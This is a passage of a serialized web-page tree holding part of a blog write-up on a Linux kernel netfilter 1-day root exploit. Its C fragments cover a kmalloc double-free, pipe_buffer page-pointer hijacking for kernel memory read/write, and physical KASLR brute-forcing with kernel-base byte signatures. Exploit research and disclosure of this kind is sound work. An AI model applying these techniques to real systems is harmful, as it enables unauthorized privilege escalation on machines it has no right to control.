48",{"type":24,"tag":90,"props":59915,"children":59916},{"style":114},[59917],{"type":29,"value":133},{"type":24,"tag":90,"props":59919,"children":59920},{"style":349},[59921],{"type":29,"value":6408},{"type":24,"tag":90,"props":59923,"children":59924},{"style":114},[59925],{"type":29,"value":571},{"type":24,"tag":90,"props":59927,"children":59928},{"class":92,"line":632},[59929,59933,59937,59941,59945],{"type":24,"tag":90,"props":59930,"children":59931},{"style":136},[59932],{"type":29,"value":59861},{"type":24,"tag":90,"props":59934,"children":59935},{"style":114},[59936],{"type":29,"value":177},{"type":24,"tag":90,"props":59938,"children":59939},{"style":136},[59940],{"type":29,"value":59870},{"type":24,"tag":90,"props":59942,"children":59943},{"style":120},[59944],{"type":29,"value":216},{"type":24,"tag":90,"props":59946,"children":59947},{"style":114},[59948],{"type":29,"value":59949}," MTYPE_SECONDARY;\n",{"type":24,"tag":90,"props":59951,"children":59952},{"class":92,"line":669},[59953,59957,59961,59965,59969,59974,59978,59982,59986,59990],{"type":24,"tag":90,"props":59954,"children":59955},{"style":108},[59956],{"type":29,"value":59887},{"type":24,"tag":90,"props":59958,"children":59959},{"style":114},[59960],{"type":29,"value":117},{"type":24,"tag":90,"props":59962,"children":59963},{"style":136},[59964],{"type":29,"value":59691},{"type":24,"tag":90,"props":59966,"children":59967},{"style":114},[59968],{"type":29,"value":59900},{"type":24,"tag":90,"props":59970,"children":59971},{"style":349},[59972],{"type":29,"value":59973},"1024",{"type":24,"tag":90,"props":59975,"children":59976},{"style":120},[59977],{"type":29,"value":53079},{"type":24,"tag":90,"props":59979,"children":59980},{"style":349},[59981],{"type":29,"value":59913},{"type":24,"tag":90,"props":59983,"children":59984},{"style":114},[59985],{"type":29,"value":133},{"type":24,"tag":90,"props":59987,"children":59988},{"style":349},[59989],{"type":29,"value":6408},{"type":24,"tag":90,"props":59991,"children":59992},{"style":114},[59993],{"type":29,"value":571},{"type":24,"tag":90,"props":59995,"children":59996},{"class":92,"line":683},[59997],{"type":24,"tag":90,"props":59998,"children":59999},{"style":114},[60000],{"type":29,"value":612},{"type":24,"tag":90,"props":60002,"children":60003},{"class":92,"line":737},[60004],{"type":24,"tag":90,"props":60005,"children":60006},{"style":252},[60007],{"type":29,"value":60008}," // Prepare evil msg\n",{"type":24,"tag":90,"props":60010,"children":60011},{"class":92,"line":751},[60012,60016,60021,60025,60029,60033,60037,60041],{"type":24,"tag":90,"props":60013,"children":60014},{"style":97},[60015],{"type":29,"value":20871},{"type":24,"tag":90,"props":60017,"children":60018},{"style":114},[60019],{"type":29,"value":60020}," evilqid ",{"type":24,"tag":90,"props":60022,"children":60023},{"style":120},[60024],{"type":29,"value":5491},{"type":24,"tag":90,"props":60026,"children":60027},{"style":108},[60028],{"type":29,"value":59656},{"type":24,"tag":90,"props":60030,"children":60031},{"style":114},[60032],{"type":29,"value":59661},{"type":24,"tag":90,"props":60034,"children":60035},{"style":349},[60036],{"type":29,"value":59666},{"type":24,"tag":90,"props":60038,"children":60039},{"style":120},[60040],{"type":29,"value":6656},{"type":24,"tag":90,"props":60042,"children":60043},{"style":114},[60044],{"type":29,"value":59675},{"type":24,"tag":90,"props":60046,"children":60047},{"class":92,"line":782},[60048,60052,60057,60061,60065],{"type":24,"tag":90,"props":60049,"children":60050},{"style":636},[60051],{"type":29,"value":639},{"type":24,"tag":90,"props":60053,"children":60054},{"style":114},[60055],{"type":29,"value":60056}," (evilqid ",{"type":24,"tag":90,"props":60058,"children":60059},{"style":120},[60060],{"type":29,"value":1575},{"type":24,"tag":90,"props":60062,"children":60063},{"style":349},[60064],{"type":29,"value":5448},{"type":24,"tag":90,"props":60066,"children":60067},{"style":114},[60068],{"type":29,"value":1686},{"type":24,"tag":90,"props":60070,"children":60071},{"class":92,"line":791},[60072],{"type":24,"tag":90,"props":60073,"children":60074},{"style":114},[60075],{"type":29,"value":30998},{"type":24,"tag":90,"props":60077,"children":60078},{"class":92,"line":799},[60079,60084,60088,60092],{"type":24,"tag":90,"props":60080,"children":60081},{"style":108},[60082],{"type":29,"value":60083}," perror",{"type":24,"tag":90,"props":60085,"children":60086},{"style":114},[60087],{"type":29,"value":117},{"type":24,"tag":90,"props":60089,"children":60090},{"style":1085},[60091],{"type":29,"value":59731},{"type":24,"tag":90,"props":60093,"children":60094},{"style":114},[60095],{"type":29,"value":571},{"type":24,"tag":90,"props":60097,"children":60098},{"class":92,"line":807},[60099],{"type":24,"tag":90,"props":60100,"children":60101},{"style":114},[60102],{"type":29,"value":612},{"type":24,"tag":90,"props":60104,"children":60105},{"class":92,"line":821},[60106],{"type":24,"tag":90,"props":60107,"children":60108},{"style":114},[60109],{"type":29,"value":60110},"[...] // trigger double-free in kmalloc-256\n",{"type":24,"tag":1019,"props":60112,"children":60114},{"id":60113},"using-pipe_buffer-page-pointer-for-physical-readwrite",[60115],{"type":29,"value":60116},"Using pipe_buffer->page pointer for physical read/write",{"type":24,"tag":25,"props":60118,"children":60119},{},[60120,60122,60128,60129,60135,60136,60142,60144,60150],{"type":29,"value":60121},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":24,"tag":32,"props":60123,"children":60125},{"className":60124},[],[60126],{"type":29,"value":60127},"kmalloc-1k",{"type":29,"value":13360},{"type":24,"tag":32,"props":60130,"children":60132},{"className":60131},[],[60133],{"type":29,"value":60134},"overlap pipe_buffer",{"type":29,"value":23300},{"type":24,"tag":32,"props":60137,"children":60139},{"className":60138},[],[60140],{"type":29,"value":60141},"skbuf",{"type":29,"value":60143}," data to control the ",{"type":24,"tag":32,"props":60145,"children":60147},{"className":60146},[],[60148],{"type":29,"value":60149},"page",{"type":29,"value":60151}," field.",{"type":24,"tag":25,"props":60153,"children":60154},{},[60155,60156,60161,60163,60169,60171],{"type":29,"value":3131},{"type":24,"tag":32,"props":60157,"children":60159},{"className":60158},[],[60160],{"type":29,"value":60149},{"type":29,"value":60162}," field is a pointer into ",{"type":24,"tag":32,"props":60164,"children":60166},{"className":60165},[],[60167],{"type":29,"value":60168},"vmemmap_base",{"type":29,"value":60170},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":24,"tag":6301,"props":60172,"children":60174},{"alt":52402,"src":60173},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":24,"tag":25,"props":60176,"children":60177},{},[60178,60180,60185],{"type":29,"value":60179},"This now allows us to navigate the ",{"type":24,"tag":32,"props":60181,"children":60183},{"className":60182},[],[60184],{"type":29,"value":60168},{"type":29,"value":60186}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":24,"tag":1019,"props":60188,"children":60190},{"id":60189},"bruteforce-physical-kernel-base",[60191],{"type":29,"value":60192},"Bruteforce physical kernel base",{"type":24,"tag":25,"props":60194,"children":60195},{},[60196,60198,60204,60206,60211,60213,60219],{"type":29,"value":60197},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":24,"tag":32,"props":60199,"children":60201},{"className":60200},[],[60202],{"type":29,"value":60203},"modprobe_path",{"type":29,"value":60205},". Keep in mind that simply searching page by page from the start of ",{"type":24,"tag":32,"props":60207,"children":60209},{"className":60208},[],[60210],{"type":29,"value":60168},{"type":29,"value":60212}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":24,"tag":32,"props":60214,"children":60216},{"className":60215},[],[60217],{"type":29,"value":60218},"PHYSICAL_ALIGN",{"type":29,"value":60220}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":24,"tag":80,"props":60222,"children":60224},{"className":30921,"code":60223,"language":30923,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n uint64_t kernel_base;\n bool found = false;\n uint8_t data[PAGE_SIZE] = {0};\n puts(\"[*] bruteforce phys-KASLR\");\n for (uint64_t i = 0;; i++)\n {\n kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n pipebuf->page = vmemmap_base + kernel_base;\n pipebuf->offset = 0;\n pipebuf->len = PAGE_SIZE + 1;\n[...]\n for (int j = 0; j \u003C PIPE_SPRAY; j++)\n {\n memset(&data, 0, PAGE_SIZE);\n int count;\n if (count = read(pfd[j][0], &data, PAGE_SIZE) \u003C 0)\n {\n continue;\n }\n[...]\n\n if (is_kernel_base(data)) // [1] identify kernel base\n {\n found = true;\n break;\n }\n }\n\n[...]\n",[60225],{"type":24,"tag":32,"props":60226,"children":60227},{"__ignoreMap":7},[60228,60235,60243,60251,60275,60308,60328,60368,60375,60419,60453,60480,60516,60523,60569,60576,60606,60619,60684,60691,60703,60711,60718,60725,60751,60758,60778,60790,60797,60804,60811],{"type":24,"tag":90,"props":60229,"children":60230},{"class":92,"line":93},[60231],{"type":24,"tag":90,"props":60232,"children":60233},{"style":114},[60234],{"type":29,"value":12686},{"type":24,"tag":90,"props":60236,"children":60237},{"class":92,"line":200},[60238],{"type":24,"tag":90,"props":60239,"children":60240},{"style":114},[60241],{"type":29,"value":60242},"// Bruteforce phys-KASLR\n",{"type":24,"tag":90,"props":60244,"children":60245},{"class":92,"line":239},[60246],{"type":24,"tag":90,"props":60247,"children":60248},{"style":114},[60249],{"type":29,"value":60250}," uint64_t kernel_base;\n",{"type":24,"tag":90,"props":60252,"children":60253},{"class":92,"line":248},[60254,60258,60263,60267,60271],{"type":24,"tag":90,"props":60255,"children":60256},{"style":97},[60257],{"type":29,"value":48295},{"type":24,"tag":90,"props":60259,"children":60260},{"style":114},[60261],{"type":29,"value":60262}," found ",{"type":24,"tag":90,"props":60264,"children":60265},{"style":120},[60266],{"type":29,"value":5491},{"type":24,"tag":90,"props":60268,"children":60269},{"style":97},[60270],{"type":29,"value":11431},{"type":24,"tag":90,"props":60272,"children":60273},{"style":114},[60274],{"type":29,"value":381},{"type":24,"tag":90,"props":60276,"children":60277},{"class":92,"line":258},[60278,60283,60287,60292,60296,60300,60304],{"type":24,"tag":90,"props":60279,"children":60280},{"style":97},[60281],{"type":29,"value":60282}," uint8_t",{"type":24,"tag":90,"props":60284,"children":60285},{"style":136},[60286],{"type":29,"value":1604},{"type":24,"tag":90,"props":60288,"children":60289},{"style":114},[60290],{"type":29,"value":60291},"[PAGE_SIZE] ",{"type":24,"tag":90,"props":60293,"children":60294},{"style":120},[60295],{"type":29,"value":5491},{"type":24,"tag":90,"props":60297,"children":60298},{"style":114},[60299],{"type":29,"value":47039},{"type":24,"tag":90,"props":60301,"children":60302},{"style":349},[60303],{"type":29,"value":6408},{"type":24,"tag":90,"props":60305,"children":60306},{"style":114},[60307],{"type":29,"value":3093},{"type":24,"tag":90,"props":60309,"children":60310},{"class":92,"line":272},[60311,60315,60319,60324],{"type":24,"tag":90,"props":60312,"children":60313},{"style":108},[60314],{"type":29,"value":57331},{"type":24,"tag":90,"props":60316,"children":60317},{"style":114},[60318],{"type":29,"value":117},{"type":24,"tag":90,"props":60320,"children":60321},{"style":1085},[60322],{"type":29,"value":60323},"\"[*] bruteforce phys-KASLR\"",{"type":24,"tag":90,"props":60325,"children":60326},{"style":114},[60327],{"type":29,"value":571},{"type":24,"tag":90,"props":60329,"children":60330},{"class":92,"line":281},[60331,60335,60339,60343,60347,60351,60355,60360,60364],{"type":24,"tag":90,"props":60332,"children":60333},{"style":636},[60334],{"type":29,"value":5434},{"type":24,"tag":90,"props":60336,"children":60337},{"style":114},[60338],{"type":29,"value":1151},{"type":24,"tag":90,"props":60340,"children":60341},{"style":97},[60342],{"type":29,"value":57459},{"type":24,"tag":90,"props":60344,"children":60345},{"style":114},[60346],{"type":29,"value":56368},{"type":24,"tag":90,"props":60348,"children":60349},{"style":120},[60350],{"type":29,"value":5491},{"type":24,"tag":90,"props":60352,"children":60353},{"style":349},[60354],{"type":29,"value":5448},{"type":24,"tag":90,"props":60356,"children":60357},{"style":114},[60358],{"type":29,"value":60359},";; i",{"type":24,"tag":90,"props":60361,"children":60362},{"style":120},[60363],{"type":29,"value":53093},{"type":24,"tag":90,"props":60365,"children":60366},{"style":114},[60367],{"type":29,"value":1686},{"type":24,"tag":90,"props":60369,"children":60370},{"class":92,"line":384},[60371],{"type":24,"tag":90,"props":60372,"children":60373},{"style":114},[60374],{"type":29,"value":30998},{"type":24,"tag":90,"props":60376,"children":60377},{"class":92,"line":420},[60378,60383,60387,60392,60396,60401,60405,60410,60414],{"type":24,"tag":90,"props":60379,"children":60380},{"style":114},[60381],{"type":29,"value":60382}," kernel_base ",{"type":24,"tag":90,"props":60384,"children":60385},{"style":120},[60386],{"type":29,"value":5491},{"type":24,"tag":90,"props":60388,"children":60389},{"style":349},[60390],{"type":29,"value":60391}," 0x40",{"type":24,"tag":90,"props":60393,"children":60394},{"style":120},[60395],{"type":29,"value":366},{"type":24,"tag":90,"props":60397,"children":60398},{"style":114},[60399],{"type":29,"value":60400}," ((PHYSICAL_ALIGN ",{"type":24,"tag":90,"props":60402,"children":60403},{"style":120},[60404],{"type":29,"value":983},{"type":24,"tag":90,"props":60406,"children":60407},{"style":114},[60408],{"type":29,"value":60409}," i) ",{"type":24,"tag":90,"props":60411,"children":60412},{"style":120},[60413],{"type":29,"value":15127},{"type":24,"tag":90,"props":60415,"children":60416},{"style":114},[60417],{"type":29,"value":60418}," PAGE_SHIFT);\n",{"type":24,"tag":90,"props":60420,"children":60421},{"class":92,"line":428},[60422,60427,60431,60435,60439,60444,60448],{"type":24,"tag":90,"props":60423,"children":60424},{"style":136},[60425],{"type":29,"value":60426}," pipebuf",{"type":24,"tag":90,"props":60428,"children":60429},{"style":114},[60430],{"type":29,"value":177},{"type":24,"tag":90,"props":60432,"children":60433},{"style":136},[60434],{"type":29,"value":60149},{"type":24,"tag":90,"props":60436,"children":60437},{"style":120},[60438],{"type":29,"value":216},{"type":24,"tag":90,"props":60440,"children":60441},{"style":114},[60442],{"type":29,"value":60443}," vmemmap_base ",{"type":24,"tag":90,"props":60445,"children":60446},{"style":120},[60447],{"type":29,"value":6767},{"type":24,"tag":90,"props":60449,"children":60450},{"style":114},[60451],{"type":29,"value":60452}," kernel_base;\n",{"type":24,"tag":90,"props":60454,"children":60455},{"class":92,"line":437},[60456,60460,60464,60468,60472,60476],{"type":24,"tag":90,"props":60457,"children":60458},{"style":136},[60459],{"type":29,"value":60426},{"type":24,"tag":90,"props":60461,"children":60462},{"style":114},[60463],{"type":29,"value":177},{"type":24,"tag":90,"props":60465,"children":60466},{"style":136},[60467],{"type":29,"value":337},{"type":24,"tag":90,"props":60469,"children":60470},{"style":120},[60471],{"type":29,"value":216},{"type":24,"tag":90,"props":60473,"children":60474},{"style":349},[60475],{"type":29,"value":5448},{"type":24,"tag":90,"props":60477,"children":60478},{"style":114},[60479],{"type":29,"value":381},{"type":24,"tag":90,"props":60481,"children":60482},{"class":92,"line":574},[60483,60487,60491,60495,60499,60504,60508,60512],{"type":24,"tag":90,"props":60484,"children":60485},{"style":136},[60486],{"type":29,"value":60426},{"type":24,"tag":90,"props":60488,"children":60489},{"style":114},[60490],{"type":29,"value":177},{"type":24,"tag":90,"props":60492,"children":60493},{"style":136},[60494],{"type":29,"value":11513},{"type":24,"tag":90,"props":60496,"children":60497},{"style":120},[60498],{"type":29,"value":216},{"type":24,"tag":90,"props":60500,"children":60501},{"style":114},[60502],{"type":29,"value":60503}," PAGE_SIZE ",{"type":24,"tag":90,"props":60505,"children":60506},{"style":120},[60507],{"type":29,"value":6767},{"type":24,"tag":90,"props":60509,"children":60510},{"style":349},[60511],{"type":29,"value":6909},{"type":24,"tag":90,"props":60513,"children":60514},{"style":114},[60515],{"type":29,"value":381},{"type":24,"tag":90,"props":60517,"children":60518},{"class":92,"line":606},[60519],{"type":24,"tag":90,"props":60520,"children":60521},{"style":114},[60522],{"type":29,"value":12686},{"type":24,"tag":90,"props":60524,"children":60525},{"class":92,"line":615},[60526,60531,60535,60539,60543,60547,60552,60556,60561,60565],{"type":24,"tag":90,"props":60527,"children":60528},{"style":114},[60529],{"type":29,"value":60530}," for (",{"type":24,"tag":90,"props":60532,"children":60533},{"style":97},[60534],{"type":29,"value":20841},{"type":24,"tag":90,"props":60536,"children":60537},{"style":136},[60538],{"type":29,"value":10999},{"type":24,"tag":90,"props":60540,"children":60541},{"style":120},[60542],{"type":29,"value":216},{"type":24,"tag":90,"props":60544,"children":60545},{"style":349},[60546],{"type":29,"value":5448},{"type":24,"tag":90,"props":60548,"children":60549},{"style":114},[60550],{"type":29,"value":60551},"; j ",{"type":24,"tag":90,"props":60553,"children":60554},{"style":120},[60555],{"type":29,"value":1575},{"type":24,"tag":90,"props":60557,"children":60558},{"style":114},[60559],{"type":29,"value":60560}," PIPE_SPRAY; j",{"type":24,"tag":90,"props":60562,"children":60563},{"style":120},[60564],{"type":29,"value":53093},{"type":24,"tag":90,"props":60566,"children":60567},{"style":114},[60568],{"type":29,"value":1686},{"type":24,"tag":90,"props":60570,"children":60571},{"class":92,"line":623},[60572],{"type":24,"tag":90,"props":60573,"children":60574},{"style":114},[60575],{"type":29,"value":33472},{"type":24,"tag":90,"props":60577,"children":60578},{"class":92,"line":632},[60579,60584,60588,60592,60597,60601],{"type":24,"tag":90,"props":60580,"children":60581},{"style":108},[60582],{"type":29,"value":60583}," memset",{"type":24,"tag":90,"props":60585,"children":60586},{"style":114},[60587],{"type":29,"value":117},{"type":24,"tag":90,"props":60589,"children":60590},{"style":120},[60591],{"type":29,"value":123},{"type":24,"tag":90,"props":60593,"children":60594},{"style":114},[60595],{"type":29,"value":60596},"data, ",{"type":24,"tag":90,"props":60598,"children":60599},{"style":349},[60600],{"type":29,"value":6408},{"type":24,"tag":90,"props":60602,"children":60603},{"style":114},[60604],{"type":29,"value":60605},", PAGE_SIZE);\n",{"type":24,"tag":90,"props":60607,"children":60608},{"class":92,"line":669},[60609,60614],{"type":24,"tag":90,"props":60610,"children":60611},{"style":97},[60612],{"type":29,"value":60613}," int",{"type":24,"tag":90,"props":60615,"children":60616},{"style":114},[60617],{"type":29,"value":60618}," count;\n",{"type":24,"tag":90,"props":60620,"children":60621},{"class":92,"line":683},[60622,60627,60632,60636,60641,60645,60650,60655,60659,60663,60667,60672,60676,60680],{"type":24,"tag":90,"props":60623,"children":60624},{"style":636},[60625],{"type":29,"value":60626}," if",{"type":24,"tag":90,"props":60628,"children":60629},{"style":114},[60630],{"type":29,"value":60631}," (count ",{"type":24,"tag":90,"props":60633,"children":60634},{"style":120},[60635],{"type":29,"value":5491},{"type":24,"tag":90,"props":60637,"children":60638},{"style":108},[60639],{"type":29,"value":60640}," read",{"type":24,"tag":90,"props":60642,"children":60643},{"style":114},[60644],{"type":29,"value":117},{"type":24,"tag":90,"props":60646,"children":60647},{"style":136},[60648],{"type":29,"value":60649},"pfd",{"type":24,"tag":90,"props":60651,"children":60652},{"style":114},[60653],{"type":29,"value":60654},"[j][",{"type":24,"tag":90,"props":60656,"children":60657},{"style":349},[60658],{"type":29,"value":6408},{"type":24,"tag":90,"props":60660,"children":60661},{"style":114},[60662],{"type":29,"value":24857},{"type":24,"tag":90,"props":60664,"children":60665},{"style":120},[60666],{"type":29,"value":123},{"type":24,"tag":90,"props":60668,"children":60669},{"style":114},[60670],{"type":29,"value":60671},"data, PAGE_SIZE) ",{"type":24,"tag":90,"props":60673,"children":60674},{"style":120},[60675],{"type":29,"value":1575},{"type":24,"tag":90,"props":60677,"children":60678},{"style":349},[60679],{"type":29,"value":5448},{"type":24,"tag":90,"props":60681,"children":60682},{"style":114},[60683],{"type":29,"value":1686},{"type":24,"tag":90,"props":60685,"children":60686},{"class":92,"line":737},[60687],{"type":24,"tag":90,"props":60688,"children":60689},{"style":114},[60690],{"type":29,"value":33508},{"type":24,"tag":90,"props":60692,"children":60693},{"class":92,"line":751},[60694,60699],{"type":24,"tag":90,"props":60695,"children":60696},{"style":636},[60697],{"type":29,"value":60698}," continue",{"type":24,"tag":90,"props":60700,"children":60701},{"style":114},[60702],{"type":29,"value":381},{"type":24,"tag":90,"props":60704,"children":60705},{"class":92,"line":782},[60706],{"type":24,"tag":90,"props":60707,"children":60708},{"style":114},[60709],{"type":29,"value":60710}," }\n",{"type":24,"tag":90,"props":60712,"children":60713},{"class":92,"line":791},[60714],{"type":24,"tag":90,"props":60715,"children":60716},{"style":114},[60717],{"type":29,"value":12686},{"type":24,"tag":90,"props":60719,"children":60720},{"class":92,"line":799},[60721],{"type":24,"tag":90,"props":60722,"children":60723},{"emptyLinePlaceholder":16},[60724],{"type":29,"value":245},{"type":24,"tag":90,"props":60726,"children":60727},{"class":92,"line":807},[60728,60733,60738,60742,60746],{"type":24,"tag":90,"props":60729,"children":60730},{"style":114},[60731],{"type":29,"value":60732}," if (",{"type":24,"tag":90,"props":60734,"children":60735},{"style":146},[60736],{"type":29,"value":60737},"is_kernel_base",{"type":24,"tag":90,"props":60739,"children":60740},{"style":114},[60741],{"type":29,"value":117},{"type":24,"tag":90,"props":60743,"children":60744},{"style":146},[60745],{"type":29,"value":481},{"type":24,"tag":90,"props":60747,"children":60748},{"style":114},[60749],{"type":29,"value":60750},")) // [1] identify kernel base\n",{"type":24,"tag":90,"props":60752,"children":60753},{"class":92,"line":821},[60754],{"type":24,"tag":90,"props":60755,"children":60756},{"style":114},[60757],{"type":29,"value":33508},{"type":24,"tag":90,"props":60759,"children":60760},{"class":92,"line":6278},[60761,60766,60770,60774],{"type":24,"tag":90,"props":60762,"children":60763},{"style":114},[60764],{"type":29,"value":60765}," found ",{"type":24,"tag":90,"props":60767,"children":60768},{"style":120},[60769],{"type":29,"value":5491},{"type":24,"tag":90,"props":60771,"children":60772},{"style":97},[60773],{"type":29,"value":14835},{"type":24,"tag":90,"props":60775,"children":60776},{"style":114},[60777],{"type":29,"value":381},{"type":24,"tag":90,"props":60779,"children":60780},{"class":92,"line":11420},[60781,60786],{"type":24,"tag":90,"props":60782,"children":60783},{"style":636},[60784],{"type":29,"value":60785}," break",{"type":24,"tag":90,"props":60787,"children":60788},{"style":114},[60789],{"type":29,"value":381},{"type":24,"tag":90,"props":60791,"children":60792},{"class":92,"line":11438},[60793],{"type":24,"tag":90,"props":60794,"children":60795},{"style":114},[60796],{"type":29,"value":60710},{"type":24,"tag":90,"props":60798,"children":60799},{"class":92,"line":11483},[60800],{"type":24,"tag":90,"props":60801,"children":60802},{"style":114},[60803],{"type":29,"value":5740},{"type":24,"tag":90,"props":60805,"children":60806},{"class":92,"line":11589},[60807],{"type":24,"tag":90,"props":60808,"children":60809},{"emptyLinePlaceholder":16},[60810],{"type":29,"value":245},{"type":24,"tag":90,"props":60812,"children":60813},{"class":92,"line":25306},[60814],{"type":24,"tag":90,"props":60815,"children":60816},{"style":114},[60817],{"type":29,"value":12686},{"type":24,"tag":25,"props":60819,"children":60820},{},[60821,60823,60827,60829,60835,60837,60841],{"type":29,"value":60822},"Notice that at ",{"type":24,"tag":90,"props":60824,"children":60825},{},[60826],{"type":29,"value":534},{"type":29,"value":60828}," we call the ",{"type":24,"tag":32,"props":60830,"children":60832},{"className":60831},[],[60833],{"type":29,"value":60834},"is_kernel_base()",{"type":29,"value":60836}," function. This is a function based on lau's exploit ",{"type":24,"tag":90,"props":60838,"children":60839},{},[60840],{"type":29,"value":4632},{"type":29,"value":60842}," that basically matches for multiple byte patterns that may exist at the kernel base page across different builds, to maximize compatibility.",{"type":24,"tag":80,"props":60844,"children":60846},{"className":30921,"code":60845,"language":30923,"meta":7,"style":7},"[...]\nstatic bool is_kernel_base(unsigned char *addr)\n{\n // thanks lau :)\n\n // get-sig kernel_runtime_1\n if (memcmp(addr + 0x0, \"\\x48\\x8d\\x25\\x51\\x3f\", 5) == 0 &&\n memcmp(addr + 0x7, \"\\x48\\x8d\\x3d\\xf2\\xff\\xff\\xff\", 7) == 0)\n return true;\n\n // get-sig kernel_runtime_2\n if (memcmp(addr + 0x0, \"\\xfc\\x0f\\x01\\x15\", 4) == 0 &&\n memcmp(addr + 0x8, \"\\xb8\\x10\\x00\\x00\\x00\\x8e\\xd8\\x8e\\xc0\\x8e\\xd0\\xbf\", 12) == 0 &&\n memcmp(addr + 0x18, \"\\x89\\xde\\x8b\\x0d\", 4) == 0 &&\n memcmp(addr + 0x20, \"\\xc1\\xe9\\x02\\xf3\\xa5\\xbc\", 6) == 0 &&\n memcmp(addr + 0x2a, \"\\x0f\\x20\\xe0\\x83\\xc8\\x20\\x0f\\x22\\xe0\\xb9\\x80\\x00\\x00\\xc0\\x0f\\x32\\x0f\\xba\\xe8\\x08\\x0f\\x30\\xb8\\x00\", 24) == 0 &&\n memcmp(addr + 0x45, \"\\x0f\\x22\\xd8\\xb8\\x01\\x00\\x00\\x80\\x0f\\x22\\xc0\\xea\\x57\\x00\\x00\", 15) == 0 &&\n memcmp(addr + 0x55, \"\\x08\\x00\\xb9\\x01\\x01\\x00\\xc0\\xb8\", 8) == 0 &&\n memcmp(addr + 0x61, \"\\x31\\xd2\\x0f\\x30\\xe8\", 5) == 0 &&\n memcmp(addr + 0x6a, \"\\x48\\xc7\\xc6\", 3) == 0 &&\n memcmp(addr + 0x71, \"\\x48\\xc7\\xc0\\x80\\x00\\x00\", 6) == 0 &&\n memcmp(addr + 0x78, \"\\xff\\xe0\", 2) == 0)\n return true;\n\n return false;\n}\n[...]\n",[60847],{"type":24,"tag":32,"props":60848,"children":60849},{"__ignoreMap":7},[60850,60857,60887,60894,60902,60909,60917,60988,61050,61065,61072,61080,61148,61210,61271,61332,61394,61456,61517,61578,61639,61700,61761,61776,61783,61798,61805],{"type":24,"tag":90,"props":60851,"children":60852},{"class":92,"line":93},[60853],{"type":24,"tag":90,"props":60854,"children":60855},{"style":114},[60856],{"type":29,"value":12686},{"type":24,"tag":90,"props":60858,"children":60859},{"class":92,"line":200},[60860,60865,60870,60875,60879,60883],{"type":24,"tag":90,"props":60861,"children":60862},{"style":114},[60863],{"type":29,"value":60864},"static bool is_kernel_base(",{"type":24,"tag":90,"props":60866,"children":60867},{"style":97},[60868],{"type":29,"value":60869},"unsigned",{"type":24,"tag":90,"props":60871,"children":60872},{"style":97},[60873],{"type":29,"value":60874}," char",{"type":24,"tag":90,"props":60876,"children":60877},{"style":97},[60878],{"type":29,"value":366},{"type":24,"tag":90,"props":60880,"children":60881},{"style":136},[60882],{"type":29,"value":32499},{"type":24,"tag":90,"props":60884,"children":60885},{"style":114},[60886],{"type":29,"value":1686},{"type":24,"tag":90,"props":60888,"children":60889},{"class":92,"line":239},[60890],{"type":24,"tag":90,"props":60891,"children":60892},{"style":114},[60893],{"type":29,"value":2221},{"type":24,"tag":90,"props":60895,"children":60896},{"class":92,"line":248},[60897],{"type":24,"tag":90,"props":60898,"children":60899},{"style":252},[60900],{"type":29,"value":60901}," // thanks lau :)\n",{"type":24,"tag":90,"props":60903,"children":60904},{"class":92,"line":258},[60905],{"type":24,"tag":90,"props":60906,"children":60907},{"emptyLinePlaceholder":16},[60908],{"type":29,"value":245},{"type":24,"tag":90,"props":60910,"children":60911},{"class":92,"line":272},[60912],{"type":24,"tag":90,"props":60913,"children":60914},{"style":252},[60915],{"type":29,"value":60916}," // get-sig kernel_runtime_1\n",{"type":24,"tag":90,"props":60918,"children":60919},{"class":92,"line":281},[60920,60924,60928,60933,60938,60942,60947,60951,60955,60960,60964,60968,60972,60976,60980,60984],{"type":24,"tag":90,"props":60921,"children":60922},{"style":636},[60923],{"type":29,"value":639},{"type":24,"tag":90,"props":60925,"children":60926},{"style":114},[60927],{"type":29,"value":1151},{"type":24,"tag":90,"props":60929,"children":60930},{"style":108},[60931],{"type":29,"value":60932},"memcmp",{"type":24,"tag":90,"props":60934,"children":60935},{"style":114},[60936],{"type":29,"value":60937},"(addr ",{"type":24,"tag":90,"props":60939,"children":60940},{"style":120},[60941],{"type":29,"value":6767},{"type":24,"tag":90,"props":60943,"children":60944},{"style":349},[60945],{"type":29,"value":60946}," 0x0",{"type":24,"tag":90,"props":60948,"children":60949},{"style":114},[60950],{"type":29,"value":133},{"type":24,"tag":90,"props":60952,"children":60953},{"style":1085},[60954],{"type":29,"value":21855},{"type":24,"tag":90,"props":60956,"children":60957},{"style":50196},[60958],{"type":29,"value":60959},"\\x48\\x8d\\x25\\x51\\x3f",{"type":24,"tag":90,"props":60961,"children":60962},{"style":1085},[60963],{"type":29,"value":21855},{"type":24,"tag":90,"props":60965,"children":60966},{"style":114},[60967],{"type":29,"value":133},{"type":24,"tag":90,"props":60969,"children":60970},{"style":349},[60971],{"type":29,"value":4632},{"type":24,"tag":90,"props":60973,"children":60974},{"style":114},[60975],{"type":29,"value":172},{"type":24,"tag":90,"props":60977,"children":60978},{"style":120},[60979],{"type":29,"value":10951},{"type":24,"tag":90,"props":60981,"children":60982},{"style":349},[60983],{"type":29,"value":5448},{"type":24,"tag":90,"props":60985,"children":60986},{"style":120},[60987],{"type":29,"value":54508},{"type":24,"tag":90,"props":60989,"children":60990},{"class":92,"line":384},[60991,60996,61000,61004,61009,61013,61017,61022,61026,61030,61034,61038,61042,61046],{"type":24,"tag":90,"props":60992,"children":60993},{"style":108},[60994],{"type":29,"value":60995}," memcmp",{"type":24,"tag":90,"props":60997,"children":60998},{"style":114},[60999],{"type":29,"value":60937},{"type":24,"tag":90,"props":61001,"children":61002},{"style":120},[61003],{"type":29,"value":6767},{"type":24,"tag":90,"props":61005,"children":61006},{"style":349},[61007],{"type":29,"value":61008}," 